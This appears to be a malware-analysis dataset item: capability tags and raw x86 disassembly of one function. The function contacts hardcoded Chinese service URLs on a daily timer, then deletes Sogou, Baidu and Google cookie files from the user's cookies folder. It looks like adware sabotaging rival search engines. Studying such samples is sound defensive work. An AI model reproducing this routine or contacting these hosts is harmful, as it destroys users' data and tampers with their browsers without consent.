Function at 0x1000ddcc
Capabilities:
Delete file
Enumerate files on windows
Get common file path
Set file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x48c8]
mov eax, 0x4948
call fcn.10043e70
mov eax, dword [0x1007ef24]
xor eax, ebp
mov dword [ebp + 0x48c4], eax
push esi
push edi
mov esi, ecx
xor edi, edi
push edi
mov dword [ebp - 0x80], esi
call fcn.10043e25
pop ecx
lea ecx, [esi + 0xb3c]
mov edx, eax
sub edx, dword [ecx]
cmp edx, 0x15180
jb 0x1000e03f
push ebx
push 0x3fff
mov dword [ecx], eax
lea eax, [ebp + 0xc5]
push edi
push eax
mov byte [ebp + 0xc4], 0
call fcn.10042a90
mov ebx, 0x1ff
push ebx
lea eax, [ebp + 0x42c5]
push edi
push eax
mov byte [ebp + 0x42c4], 0
call fcn.10042a90
add esp, 0x18
push 5
xor eax, eax
mov edi, str.2010
mov esi, 0x10081064
pop ecx
repe cmpsb byte [esi], byte es:[edi]
lea eax, [ebp + 0x42c4]
jne 0x1000de6a
push str.http:__service.l0086.com.cn_
jmp 0x1000de6f
push str.http:__service.02l.cn_
push str._sService.asmx
push eax
call fcn.100436a6
mov ecx, dword [ebp - 0x80]
add esp, 0xc
lea eax, [ebp + 0xc4]
push eax
lea eax, [ebp + 0x42c4]
push eax
push 1
call fcn.1000d478
push ebx
xor esi, esi
lea eax, [ebp + 0x44c5]
push esi
push eax
mov byte [ebp + 0x44c4], 0
call fcn.10042a90
add esp, 0xc
push esi
push 0x21
lea eax, [ebp + 0x44c4]
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
cmp byte [ebp + 0x44c4], 0
je 0x1000e03e
lea edi, [ebp + 0x44c4]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000ded4
push ebx
mov byte [ebp + 0x40c4], al
lea eax, [ebp + 0x40c5]
push 0
mov esi, 0x1006581c
push eax
movsw word es:[edi], word [esi]
call fcn.10042a90
add esp, 0xc
xor eax, eax
mov cl, byte [ebp + eax + 0x44c4]
mov byte [ebp + eax + 0x40c4], cl
inc eax
test cl, cl
jne 0x1000defd
lea edi, [ebp + 0x40c4]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x1000df17
push ebx
mov byte [ebp + 0x46c4], al
lea eax, [ebp + 0x46c5]
push 0
mov esi, 0x10065818
push eax
movsd dword es:[edi], dword [esi]
call fcn.10042a90
add esp, 0xc
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp + 0x40c4]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
test ebx, ebx
je 0x1000e03e
cmp ebx, 0xffffffff
je 0x1000e03e
test byte [ebp - 0x7c], 0x10
jne 0x1000e024
lea eax, [ebp - 0x50]
push str.sogou
push eax
call fcn.10043620
test eax, eax
pop ecx
pop ecx
jne 0x1000dfa7
lea eax, [ebp - 0x50]
push str.baidu
push eax
call fcn.10043620
test eax, eax
pop ecx
pop ecx
jne 0x1000dfa7
lea eax, [ebp - 0x50]
push str.google
push eax
call fcn.10043620
test eax, eax
pop ecx
pop ecx
je 0x1000e024
push 0x200
lea eax, [ebp + 0x46c4]
push 0
push eax
call fcn.10042a90
add esp, 0xc
xor eax, eax
mov cl, byte [ebp + eax + 0x44c4]
mov byte [ebp + eax + 0x46c4], cl
inc eax
test cl, cl
jne 0x1000dfbf
lea eax, [ebp - 0x50]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000dfd7
lea edi, [ebp + 0x46c4]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1000dfe7
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [ebp - 0x7c]
and ecx, 3
test al, 1
rep movsb byte es:[edi], byte [esi]
je 0x1000e017
and eax, 0xfffffffe
push eax
lea eax, [ebp + 0x46c4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp + 0x46c4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x7c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000df61
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
mov ecx, dword [ebp + 0x48c4]
pop edi
xor ecx, ebp
pop esi
call fcn.10042977
add ebp, 0x48c8
leave
ret